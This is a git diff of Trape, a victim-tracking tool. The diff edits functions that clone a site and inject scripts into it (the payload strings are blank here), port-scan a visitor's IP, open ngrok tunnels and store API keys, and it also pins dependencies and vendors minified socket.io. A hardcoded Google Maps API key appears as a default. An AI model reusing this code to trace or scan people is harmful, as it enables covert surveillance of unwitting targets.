image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8", + "Accept": "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg," + " image/gif, image/x-xbitmap, */*;q=0.8", "Connection": "keep-alive", # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) "DNT": "1", @@ -67,7 +69,8 @@ def victim_headers2(ua): def victim_headers(ua): return [("User-Agent", ua), ("Content-Type", "text/html; charset=utf-8"), - ("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"), + ("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg," + " image/gif, image/x-xbitmap, */*;q=0.8"), ("Connection", "keep-alive"), # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) ("DNT", "1"), @@ -75,7 +78,8 @@ def victim_headers(ua): ] -def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey=''): +def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', + IpInfoApiKey=''): url_to_clone = str(url_to_clone) html = html.replace('src="'.encode(), str('src="' + url_to_clone + '/').encode()) html = html.replace("src='".encode(), str("src='" + url_to_clone + '/').encode()) @@ -94,7 +98,8 @@ def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUP html = html.replace( ''.encode(), ''.encode()) html = html.replace( - ''.encode(), str('').encode()) + ''.encode(), str('') + .encode()) return html diff --git a/core/utils.py b/core/utils.py old mode 100755 new mode 100644 index b0c4515..ba2e204 --- a/core/utils.py +++ b/core/utils.py @@ -13,49 +13,153 @@ #** import random import hashlib -import threading import sys import os import socket -import time -import requests, json -from colorama import init , Style,Fore +import requests import http.client +import subprocess +from colorama import init, Style, Fore init() + class utils: - # Functions 1to get is right def __init__(self): pass - # Simplification print @staticmethod def Go(string): print(string) # All color for design terminal UI Color = { - "cyan": Style.NORMAL+Fore.CYAN, - "cyanBold": Style.BRIGHT+Fore.CYAN, - "blue": Fore.BLUE, - "blueBold": Style.BRIGHT+Fore.BLUE, - "red": Style.NORMAL+Fore.RED, - "redBold": Style.BRIGHT+Fore.RED, - "green": Style.NORMAL+Fore.GREEN, - "greenBold": Style.BRIGHT+Fore.GREEN, - "white": Style.NORMAL+Fore.WHITE, - "whiteBold": Style.BRIGHT+Fore.WHITE, - "yellow": Style.NORMAL+Fore.YELLOW, - "yellowBold": Style.BRIGHT+Fore.YELLOW + "cyan": Style.NORMAL+Fore.CYAN, + "cyanBold": Style.BRIGHT+Fore.CYAN, + "blue": Fore.BLUE, + "blueBold": Style.BRIGHT+Fore.BLUE, + "red": Style.NORMAL+Fore.RED, + "redBold": Style.BRIGHT+Fore.RED, + "green": Style.NORMAL+Fore.GREEN, + "greenBold": Style.BRIGHT+Fore.GREEN, + "white": Style.NORMAL+Fore.WHITE, + "whiteBold": Style.BRIGHT+Fore.WHITE, + "yellow": Style.NORMAL+Fore.YELLOW, + "yellowBold": Style.BRIGHT+Fore.YELLOW } # Text in bold, lines and end. Text = { - "underline": Style.NORMAL+Fore.YELLOW, - "bold": Style.BRIGHT, - "end": Style.NORMAL+Fore.WHITE + "underline": Style.NORMAL+Fore.YELLOW, + "bold": Style.BRIGHT, + "end": Style.NORMAL+Fore.WHITE } + @staticmethod + def ngrok_subprocess(port): + str_ngrok = './ngrok' + system_type = os.name + if "nt" in system_type: + str_ngrok = './ngrok.exe' + result = subprocess.check_output([str_ngrok, "http", port]) + print(result) + + @staticmethod + def trape_config(self): + utils.Go("\033[H\033[J") + utils.Go("----------------------------------------------------------") + utils.Go("" + " " + utils.Color['redBold'] + "TRAPE" + utils.Color['white'] +" {" + utils.Color['yellowBold'] + "stable" + utils.Color['white'] + "}" + utils.Color['white'] + " - " + "Configuration zone to use the software" + " " + "<" + utils.Color['white']) + utils.Go("----------------------------------------------------------") + utils.Go("| v" + utils.Color['redBold'] + self.version + utils.Color['white'] + " |") + utils.Go("--------" + "\n") + utils.Go(utils.Color['whiteBold'] + "GENERAL CONFIG" + utils.Color['white']) + utils.Go("------") + utils.Go("Through this section you will configure the resources required \nfor an effective function of trape, please complete the following steps, below. \nKeep in mind that if the data is incorrect this tool will not work." + utils.Color['white']) + utils.Go("") + utils.Go(utils.Color['whiteBold'] + "NGROK TOKEN" + utils.Color['white']) + utils.Go("------") + utils.Go("In the next section you must enter your Ngrok token, if you do not have \none register at (" + utils.Color['blueBold'] + "https://ngrok.com" + utils.Color['white'] + "), this data is necessary for the generation of public network tunnels.") + utils.Go("") + c_nGrokToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your ngrok token" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + utils.Go("") + utils.Go(utils.Color['whiteBold'] + "GOOGLE API" + utils.Color['white']) + utils.Go("------") + utils.Go("You must register with the " + utils.Color['blueBold'] + "Google Console" + utils.Color['white'] + ", and get an API for maps and another for shortening. \nBy having these data you complete the settings") + utils.Go("") + c_gMapsToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your Google Maps Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + c_gOoglToken = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " Enter your Goo.gl (shortener) Api Key (leave it empty if you don't have)" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + utils.Go("") + utils.Go(utils.Color['whiteBold'] + "IP INFO API" + utils.Color['white']) + utils.Go("------") + utils.Go("You must register with the " + utils.Color['blueBold'] + "https://ipgeolocation.io" + utils.Color['white'] + ", and get an API for geolocation. \nBy having these data you complete the settings") + utils.Go("") + c_ipinfo = input(utils.Color['blueBold'] + "-" + utils.Color['white'] + " What is your IP Info Api Key?" + " " + utils.Color['yellow'] + ":~> " + utils.Color['white']) + utils.Go("") + utils.Go(utils.Color['greenBold'] + "-" + utils.Color['white'] + " Congratulations! " + utils.Color['greenBold'] + "Successful configuration" + utils.Color['white'] + ", now enjoy Trape!" + utils.Color['white']) + utils.Go("") + if (c_nGrokToken != '' and c_gMapsToken != ''): + v = '{\n\t"ngrok_token" : "' + c_nGrokToken + '",\n\t"gmaps_api_key" : "' + c_gMapsToken + '",\n\t"gshortener_api_key" : "' + c_gOoglToken + '",\n\t"ipinfo_api_key" : "' + c_ipinfo + '"\n}' + f = open ('trape.config', 'w') + f.write(v) + f.close() + else: + self.trape_config() + + @staticmethod + def first_time_message(): + utils.Go("\033[H\033[J") + utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@@@@ @@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@ @@ @@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@@@ ") + utils.Go(utils.Color['whiteBold'] + " @@@@@@@@@@@@@@@@@@@@@@ ") + utils.Go("\t" + utils.Color['white'] + "--" + " " + "v" + utils.Color['redBold'] + "2.0" + utils.Color[ + 'white'] + " " + "--" + "\n" + utils.Color['white']) + utils.Go(utils.Color['whiteBold'] + "WELCOME " + utils.Color['greenBold'] + os.uname()[1].upper() + utils.Color[ + 'whiteBold'] + " TO TRAPE" + utils.Color['white']) + utils.Go("------") + utils.Go("This is a exclusive version for researchers, or professionals \n" + + "who are dedicated to research, we hope you enjoy." + "\n") + utils.Go(utils.Color['whiteBold'] + "DISCLAIMER" + utils.Color['white']) + utils.Go("------") + utils.Go("This is a monitoring and research tool " + utils.Color['whiteBold'] + "OSINT" + utils.Color[ + 'white'] + ", which is distributed \nfor educational and investigative purposes, the person who has bought \nor uses this tool is responsible for its proper use or actions committed, \n" + + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color[ + 'blue'] + "@jofpin" + utils.Color[ + 'white'] + ") is not responsible for the use Or the scope that people can have \nthrough this software." + "\n") + utils.Go(utils.Color['whiteBold'] + "CREATOR" + utils.Color['white']) + utils.Go("------") + utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "NAME: " + utils.Color[ + 'white'] + "Jose Pino" + " " + utils.Color['white']) + utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "DESCRIPTION: " + utils.Color[ + 'white'] + "Hacker recognized by large technology companies") + utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "GITHUB: " + utils.Color[ + 'white'] + "https://github.com/jofpin") + utils.Go(utils.Color["white"] + "- " + utils.Color["greenBold"] + "TWITTER: " + utils.Color[ + 'white'] + "https://twitter.com/jofpin" + utils.Color['white'] + "\n") + utils.Go("Press enter to Continue...") + input() + + + @staticmethod + def checkInet(): + c = http.client.HTTPConnection('www.google.com', timeout=5) + try: + c.request("HEAD", "/") + c.close() + return True + except Exception: + c.close() + utils.Go("\033[H\033[J") + utils.Go(utils.Color['whiteBold'] + "[" + utils.Color['redBold'] + "x" + utils.Color['whiteBold'] + "]" + utils.Color['redBold'] + " " + "NOTICE: " + utils.Color['white'] + "Trape needs Internet connection for working" + "\n\t") + return False + # Banner trape @staticmethod def banner(): @@ -65,28 +169,16 @@ def banner(): utils.Go("\t" + utils.Color['redBold'] + "| _) / ___) _ | _ \ / _ )") utils.Go("\t" + utils.Color['redBold'] + "| |__| | ( ( | | | | ( (/ / ") utils.Go("\t" + utils.Color['redBold'] + " \___)_| \_||_| ||_/ \____)") - utils.Go("\t" + utils.Color['redBold'] + " |_|" + utils.Color['white'] + " 2018 by " + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + utils.Color['white'] + ")" + utils.Color['white']) + utils.Go("\t" + utils.Color['redBold'] + " |_|" + utils.Color['white'] + " 2018 by " + + utils.Color['whiteBold'] + "Jose Pino" + utils.Color['white'] + " (" + utils.Color['blue'] + "@jofpin" + + utils.Color['white'] + ")" + utils.Color['white']) utils.Go("\t" + "-----------------------------------------------") - utils.Go(utils.Color['green'] + "\t" + "People tracker on internet for OSINT research " + utils.Color['white'] + "|=-" + utils.Color['white']) + utils.Go(utils.Color['green'] + "\t" + "People tracker on internet for OSINT research " + utils.Color['white'] + + "|=-" + utils.Color['white']) utils.Go("\t" + "-----------------------------------------------") - utils.Go("\t" + "| " + utils.Color['white'] + "v" + utils.Color['redBold'] + "2.1" + utils.Color['white'] + " |") + utils.Go("\t" + "| " + utils.Color['white'] + "v" + utils.Color['redBold'] + "2.1" + utils.Color['white'] + " |") utils.Go("\t" + "--------" + "\n") - # Loader with console cleaning and OS checking - @staticmethod - def checkOS(): - if "posix" in os.name: - os.system("clear") - pass - elif "nt" in os.name: - pass - #os.system("cls") - #utils.Go("Currently there is no support for Windows.") - else: - pass - utils.Go("Loading" + " " + utils.Color['blue'] + "trape" + utils.Color['white'] + "...") - time.sleep(0.4) - # Generates a unique token of up to 30 characters. @staticmethod def generateToken(length=8): @@ -97,9 +189,9 @@ def generateToken(length=8): token = sha1.hexdigest() return token[:length] - # Simple port scan for the victim or user + # Simple port scan for the victim or user @staticmethod - def portScanner(victimIP): + def portScanner(victimIP): # TODO: rewrite into full port scan clientIP = socket.gethostbyname(victimIP) listPorts = [0, 21, 22, 23, 25, 42, 43, 53, 67, 79, 80, 102, 110, 115, 119, 123, 135, 137, 143, 161, 179, 379, 389, 443, 445, 465, 636, 993, 995, 1026, 1080, 1090, 1433, 1434, 1521, 1677, 1701, 1720, 1723, 1900, 2409, 2082, 2095, 3101, 3306, 3389, 3390, 3535, 4321, 4664, 5190, 5500, 5631, 5632, 5900, 65535, 7070, 7100, 8000, 8080, 8880, 8799, 9100] results = [] @@ -112,7 +204,7 @@ def portScanner(victimIP): results.append(str(port)) return ",".join(results) - # Local port check to allow trape to run + # Local port check to allow trape to run @staticmethod def checkPort(port): try: @@ -153,12 +245,3 @@ def gShortener(api_key, p_url): headers = {'content-type': 'application/json'} r = requests.post(url, data=payload, headers=headers) return r - - # Autocompletion - @staticmethod - def niceShell(text, state): - matches = [i for i in commands if i.startswith(text)] - if state < len(matches): - return matches[state] - else: - return None diff --git a/requirements.txt b/requirements.txt old mode 100755 new mode 100644 index 70d766e..93ce686 --- a/requirements.txt +++ b/requirements.txt @@ -1,16 +1,24 @@ -Flask -Flask-Login -Flask-Session -flask-socketio -flask_socketio -flask_cors -itsdangerous -Jinja2 -MarkupSafe -python-engineio -python-socketio -six -Werkzeug -eventlet -requests -colorama +bidict==0.21.2 +cachelib==0.1.1 +certifi==2020.12.5 +chardet==4.0.0 +click==7.1.2 +colorama==0.4.4 +dnspython==1.16.0 +eventlet==0.31.0 +Flask==1.1.2 +Flask-Cors==3.0.10 +Flask-Login==0.5.0 +Flask-Session==0.3.2 +Flask-SocketIO==5.0.1 +greenlet==1.1.0 +idna==2.10 +itsdangerous==1.1.0 +Jinja2==2.11.3 +MarkupSafe==1.1.1 +python-engineio==4.1.0 +python-socketio==5.2.1 +requests==2.25.1 +six==1.16.0 +urllib3==1.26.4 +Werkzeug==1.0.1 diff --git a/static/js/libs.min.js b/static/js/libs.min.js index 13bbd76..967c59d 100755 --- a/static/js/libs.min.js +++ b/static/js/libs.min.js @@ -11,8 +11,6051 @@ //** socket.io ** //******************************************************** -!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.io=e():t.io=e()}(this,function(){return function(t){function e(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return t[r].call(o.exports,o,o.exports,e),o.loaded=!0,o.exports}var n={};return e.m=t,e.c=n,e.p="",e(0)}([function(t,e,n){"use strict";function r(t,e){"object"===("undefined"==typeof t?"undefined":o(t))&&(e=t,t=void 0),e=e||{};var n,r=i(t),s=r.source,u=r.id,h=r.path,f=p[u]&&h in p[u].nsps,l=e.forceNew||e["force new connection"]||!1===e.multiplex||f;return l?(c("ignoring socket cache for %s",s),n=a(s,e)):(p[u]||(c("new io instance for %s",s),p[u]=a(s,e)),n=p[u]),r.query&&!e.query&&(e.query=r.query),n.socket(r.path,e)}var o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},i=n(1),s=n(7),a=n(13),c=n(3)("socket.io-client");t.exports=e=r;var p=e.managers={};e.protocol=s.protocol,e.connect=r,e.Manager=n(13),e.Socket=n(37)},function(t,e,n){(function(e){"use strict";function r(t,n){var r=t;n=n||e.location,null==t&&(t=n.protocol+"//"+n.host),"string"==typeof t&&("/"===t.charAt(0)&&(t="/"===t.charAt(1)?n.protocol+t:n.host+t),/^(https?|wss?):\/\//.test(t)||(i("protocol-less url %s",t),t="undefined"!=typeof n?n.protocol+"//"+t:"https://"+t),i("parse %s",t),r=o(t)),r.port||(/^(http|ws)$/.test(r.protocol)?r.port="80":/^(http|ws)s$/.test(r.protocol)&&(r.port="443")),r.path=r.path||"/";var s=r.host.indexOf(":")!==-1,a=s?"["+r.host+"]":r.host;return r.id=r.protocol+"://"+a+":"+r.port,r.href=r.protocol+"://"+a+(n&&n.port===r.port?"":":"+r.port),r}var o=n(2),i=n(3)("socket.io-client:url");t.exports=r}).call(e,function(){return this}())},function(t,e){var n=/^(?:(?![^:@]+:[^:@\/]*@)(http|https|ws|wss):\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/,r=["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","anchor"];t.exports=function(t){var e=t,o=t.indexOf("["),i=t.indexOf("]");o!=-1&&i!=-1&&(t=t.substring(0,o)+t.substring(o,i).replace(/:/g,";")+t.substring(i,t.length));for(var s=n.exec(t||""),a={},c=14;c--;)a[r[c]]=s[c]||"";return o!=-1&&i!=-1&&(a.source=e,a.host=a.host.substring(1,a.host.length-1).replace(/;/g,":"),a.authority=a.authority.replace("[","").replace("]","").replace(/;/g,":"),a.ipv6uri=!0),a}},function(t,e,n){(function(r){function o(){return!("undefined"==typeof window||!window.process||"renderer"!==window.process.type)||("undefined"!=typeof document&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||"undefined"!=typeof window&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))}function i(t){var n=this.useColors;if(t[0]=(n?"%c":"")+this.namespace+(n?" %c":" ")+t[0]+(n?"%c ":" ")+"+"+e.humanize(this.diff),n){var r="color: "+this.color;t.splice(1,0,r,"color: inherit");var o=0,i=0;t[0].replace(/%[a-zA-Z%]/g,function(t){"%%"!==t&&(o++,"%c"===t&&(i=o))}),t.splice(i,0,r)}}function s(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function a(t){try{null==t?e.storage.removeItem("debug"):e.storage.debug=t}catch(n){}}function c(){var t;try{t=e.storage.debug}catch(n){}return!t&&"undefined"!=typeof r&&"env"in r&&(t=r.env.DEBUG),t}function p(){try{return window.localStorage}catch(t){}}e=t.exports=n(5),e.log=s,e.formatArgs=i,e.save=a,e.load=c,e.useColors=o,e.storage="undefined"!=typeof chrome&&"undefined"!=typeof chrome.storage?chrome.storage.local:p(),e.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],e.formatters.j=function(t){try{return JSON.stringify(t)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}},e.enable(c())}).call(e,n(4))},function(t,e){function n(){throw new Error("setTimeout has not been defined")}function r(){throw new Error("clearTimeout has not been defined")}function o(t){if(u===setTimeout)return setTimeout(t,0);if((u===n||!u)&&setTimeout)return u=setTimeout,setTimeout(t,0);try{return u(t,0)}catch(e){try{return u.call(null,t,0)}catch(e){return u.call(this,t,0)}}}function i(t){if(h===clearTimeout)return clearTimeout(t);if((h===r||!h)&&clearTimeout)return h=clearTimeout,clearTimeout(t);try{return h(t)}catch(e){try{return h.call(null,t)}catch(e){return h.call(this,t)}}}function s(){y&&l&&(y=!1,l.length?d=l.concat(d):m=-1,d.length&&a())}function a(){if(!y){var t=o(s);y=!0;for(var e=d.length;e;){for(l=d,d=[];++m1)for(var n=1;n100)){var e=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(t);if(e){var n=parseFloat(e[1]),r=(e[2]||"ms").toLowerCase();switch(r){case"years":case"year":case"yrs":case"yr":case"y":return n*u;case"days":case"day":case"d":return n*p;case"hours":case"hour":case"hrs":case"hr":case"h":return n*c;case"minutes":case"minute":case"mins":case"min":case"m":return n*a;case"seconds":case"second":case"secs":case"sec":case"s":return n*s;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return n;default:return}}}}function r(t){return t>=p?Math.round(t/p)+"d":t>=c?Math.round(t/c)+"h":t>=a?Math.round(t/a)+"m":t>=s?Math.round(t/s)+"s":t+"ms"}function o(t){return i(t,p,"day")||i(t,c,"hour")||i(t,a,"minute")||i(t,s,"second")||t+" ms"}function i(t,e,n){if(!(t0)return n(t);if("number"===i&&isNaN(t)===!1)return e["long"]?o(t):r(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))}},function(t,e,n){function r(){}function o(t){var n=""+t.type;return e.BINARY_EVENT!==t.type&&e.BINARY_ACK!==t.type||(n+=t.attachments+"-"),t.nsp&&"/"!==t.nsp&&(n+=t.nsp+","),null!=t.id&&(n+=t.id),null!=t.data&&(n+=JSON.stringify(t.data)),h("encoded %j as %s",t,n),n}function i(t,e){function n(t){var n=d.deconstructPacket(t),r=o(n.packet),i=n.buffers;i.unshift(r),e(i)}d.removeBlobs(t,n)}function s(){this.reconstructor=null}function a(t){var n=0,r={type:Number(t.charAt(0))};if(null==e.types[r.type])return u();if(e.BINARY_EVENT===r.type||e.BINARY_ACK===r.type){for(var o="";"-"!==t.charAt(++n)&&(o+=t.charAt(n),n!=t.length););if(o!=Number(o)||"-"!==t.charAt(n))throw new Error("Illegal attachments");r.attachments=Number(o)}if("/"===t.charAt(n+1))for(r.nsp="";++n;){var i=t.charAt(n);if(","===i)break;if(r.nsp+=i,n===t.length)break}else r.nsp="/";var s=t.charAt(n+1);if(""!==s&&Number(s)==s){for(r.id="";++n;){var i=t.charAt(n);if(null==i||Number(i)!=i){--n;break}if(r.id+=t.charAt(n),n===t.length)break}r.id=Number(r.id)}return t.charAt(++n)&&(r=c(r,t.substr(n))),h("decoded %s as %j",t,r),r}function c(t,e){try{t.data=JSON.parse(e)}catch(n){return u()}return t}function p(t){this.reconPack=t,this.buffers=[]}function u(){return{type:e.ERROR,data:"parser error"}}var h=n(3)("socket.io-parser"),f=n(8),l=n(9),d=n(11),y=n(12);e.protocol=4,e.types=["CONNECT","DISCONNECT","EVENT","ACK","ERROR","BINARY_EVENT","BINARY_ACK"],e.CONNECT=0,e.DISCONNECT=1,e.EVENT=2,e.ACK=3,e.ERROR=4,e.BINARY_EVENT=5,e.BINARY_ACK=6,e.Encoder=r,e.Decoder=s,r.prototype.encode=function(t,n){if(t.type!==e.EVENT&&t.type!==e.ACK||!l(t.data)||(t.type=t.type===e.EVENT?e.BINARY_EVENT:e.BINARY_ACK),h("encoding packet %j",t),e.BINARY_EVENT===t.type||e.BINARY_ACK===t.type)i(t,n);else{var r=o(t);n([r])}},f(s.prototype),s.prototype.add=function(t){var n;if("string"==typeof t)n=a(t),e.BINARY_EVENT===n.type||e.BINARY_ACK===n.type?(this.reconstructor=new p(n),0===this.reconstructor.reconPack.attachments&&this.emit("decoded",n)):this.emit("decoded",n);else{if(!y(t)&&!t.base64)throw new Error("Unknown type: "+t);if(!this.reconstructor)throw new Error("got binary data when not reconstructing a packet");n=this.reconstructor.takeBinaryData(t),n&&(this.reconstructor=null,this.emit("decoded",n))}},s.prototype.destroy=function(){this.reconstructor&&this.reconstructor.finishedReconstruction()},p.prototype.takeBinaryData=function(t){if(this.buffers.push(t),this.buffers.length===this.reconPack.attachments){var e=d.reconstructPacket(this.reconPack,this.buffers);return this.finishedReconstruction(),e}return null},p.prototype.finishedReconstruction=function(){this.reconPack=null,this.buffers=[]}},function(t,e,n){function r(t){if(t)return o(t)}function o(t){for(var e in r.prototype)t[e]=r.prototype[e];return t}t.exports=r,r.prototype.on=r.prototype.addEventListener=function(t,e){return this._callbacks=this._callbacks||{},(this._callbacks["$"+t]=this._callbacks["$"+t]||[]).push(e),this},r.prototype.once=function(t,e){function n(){this.off(t,n),e.apply(this,arguments)}return n.fn=e,this.on(t,n),this},r.prototype.off=r.prototype.removeListener=r.prototype.removeAllListeners=r.prototype.removeEventListener=function(t,e){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var n=this._callbacks["$"+t];if(!n)return this;if(1==arguments.length)return delete this._callbacks["$"+t],this;for(var r,o=0;o0&&!this.encoding){var t=this.packetBuffer.shift();this.packet(t)}},r.prototype.cleanup=function(){h("cleanup");for(var t=this.subs.length,e=0;e=this._reconnectionAttempts)h("reconnect failed"),this.backoff.reset(),this.emitAll("reconnect_failed"),this.reconnecting=!1;else{var e=this.backoff.duration();h("will wait %dms before reconnect attempt",e),this.reconnecting=!0;var n=setTimeout(function(){t.skipReconnect||(h("attempting reconnect"),t.emitAll("reconnect_attempt",t.backoff.attempts),t.emitAll("reconnecting",t.backoff.attempts),t.skipReconnect||t.open(function(e){e?(h("reconnect attempt error"),t.reconnecting=!1,t.reconnect(),t.emitAll("reconnect_error",e.data)):(h("reconnect success"),t.onreconnect())}))},e);this.subs.push({destroy:function(){clearTimeout(n)}})}},r.prototype.onreconnect=function(){var t=this.backoff.attempts;this.reconnecting=!1,this.backoff.reset(),this.updateSocketIds(),this.emitAll("reconnect",t)}},function(t,e,n){t.exports=n(15),t.exports.parser=n(22)},function(t,e,n){(function(e){function r(t,n){if(!(this instanceof r))return new r(t,n);n=n||{},t&&"object"==typeof t&&(n=t,t=null),t?(t=u(t),n.hostname=t.host,n.secure="https"===t.protocol||"wss"===t.protocol,n.port=t.port,t.query&&(n.query=t.query)):n.host&&(n.hostname=u(n.host).host),this.secure=null!=n.secure?n.secure:e.location&&"https:"===location.protocol,n.hostname&&!n.port&&(n.port=this.secure?"443":"80"),this.agent=n.agent||!1,this.hostname=n.hostname||(e.location?location.hostname:"localhost"),this.port=n.port||(e.location&&location.port?location.port:this.secure?443:80),this.query=n.query||{},"string"==typeof this.query&&(this.query=h.decode(this.query)),this.upgrade=!1!==n.upgrade,this.path=(n.path||"/engine.io").replace(/\/$/,"")+"/",this.forceJSONP=!!n.forceJSONP,this.jsonp=!1!==n.jsonp,this.forceBase64=!!n.forceBase64,this.enablesXDR=!!n.enablesXDR,this.timestampParam=n.timestampParam||"t",this.timestampRequests=n.timestampRequests,this.transports=n.transports||["polling","websocket"],this.transportOptions=n.transportOptions||{},this.readyState="",this.writeBuffer=[],this.prevBufferLen=0,this.policyPort=n.policyPort||843,this.rememberUpgrade=n.rememberUpgrade||!1,this.binaryType=null,this.onlyBinaryUpgrades=n.onlyBinaryUpgrades,this.perMessageDeflate=!1!==n.perMessageDeflate&&(n.perMessageDeflate||{}),!0===this.perMessageDeflate&&(this.perMessageDeflate={}),this.perMessageDeflate&&null==this.perMessageDeflate.threshold&&(this.perMessageDeflate.threshold=1024),this.pfx=n.pfx||null,this.key=n.key||null,this.passphrase=n.passphrase||null,this.cert=n.cert||null,this.ca=n.ca||null,this.ciphers=n.ciphers||null,this.rejectUnauthorized=void 0===n.rejectUnauthorized||n.rejectUnauthorized,this.forceNode=!!n.forceNode;var o="object"==typeof e&&e;o.global===o&&(n.extraHeaders&&Object.keys(n.extraHeaders).length>0&&(this.extraHeaders=n.extraHeaders),n.localAddress&&(this.localAddress=n.localAddress)),this.id=null,this.upgrades=null,this.pingInterval=null,this.pingTimeout=null,this.pingIntervalTimer=null,this.pingTimeoutTimer=null,this.open()}function o(t){var e={};for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return e}var i=n(16),s=n(8),a=n(3)("engine.io-client:socket"),c=n(36),p=n(22),u=n(2),h=n(30);t.exports=r,r.priorWebsocketSuccess=!1,s(r.prototype),r.protocol=p.protocol,r.Socket=r,r.Transport=n(21),r.transports=n(16),r.parser=n(22),r.prototype.createTransport=function(t){a('creating transport "%s"',t);var e=o(this.query);e.EIO=p.protocol,e.transport=t;var n=this.transportOptions[t]||{};this.id&&(e.sid=this.id);var r=new i[t]({query:e,socket:this,agent:n.agent||this.agent,hostname:n.hostname||this.hostname,port:n.port||this.port,secure:n.secure||this.secure,path:n.path||this.path,forceJSONP:n.forceJSONP||this.forceJSONP,jsonp:n.jsonp||this.jsonp,forceBase64:n.forceBase64||this.forceBase64,enablesXDR:n.enablesXDR||this.enablesXDR,timestampRequests:n.timestampRequests||this.timestampRequests,timestampParam:n.timestampParam||this.timestampParam,policyPort:n.policyPort||this.policyPort,pfx:n.pfx||this.pfx,key:n.key||this.key,passphrase:n.passphrase||this.passphrase,cert:n.cert||this.cert,ca:n.ca||this.ca,ciphers:n.ciphers||this.ciphers,rejectUnauthorized:n.rejectUnauthorized||this.rejectUnauthorized,perMessageDeflate:n.perMessageDeflate||this.perMessageDeflate,extraHeaders:n.extraHeaders||this.extraHeaders,forceNode:n.forceNode||this.forceNode,localAddress:n.localAddress||this.localAddress,requestTimeout:n.requestTimeout||this.requestTimeout,protocols:n.protocols||void 0});return r},r.prototype.open=function(){var t;if(this.rememberUpgrade&&r.priorWebsocketSuccess&&this.transports.indexOf("websocket")!==-1)t="websocket";else{if(0===this.transports.length){var e=this;return void setTimeout(function(){e.emit("error","No transports available")},0)}t=this.transports[0]}this.readyState="opening";try{t=this.createTransport(t)}catch(n){return this.transports.shift(),void this.open()}t.open(),this.setTransport(t)},r.prototype.setTransport=function(t){a("setting transport %s",t.name);var e=this;this.transport&&(a("clearing existing transport %s",this.transport.name),this.transport.removeAllListeners()),this.transport=t,t.on("drain",function(){e.onDrain()}).on("packet",function(t){e.onPacket(t)}).on("error",function(t){e.onError(t)}).on("close",function(){e.onClose("transport close")})},r.prototype.probe=function(t){function e(){if(f.onlyBinaryUpgrades){var e=!this.supportsBinary&&f.transport.supportsBinary;h=h||e}h||(a('probe transport "%s" opened',t),u.send([{type:"ping",data:"probe"}]),u.once("packet",function(e){if(!h)if("pong"===e.type&&"probe"===e.data){if(a('probe transport "%s" 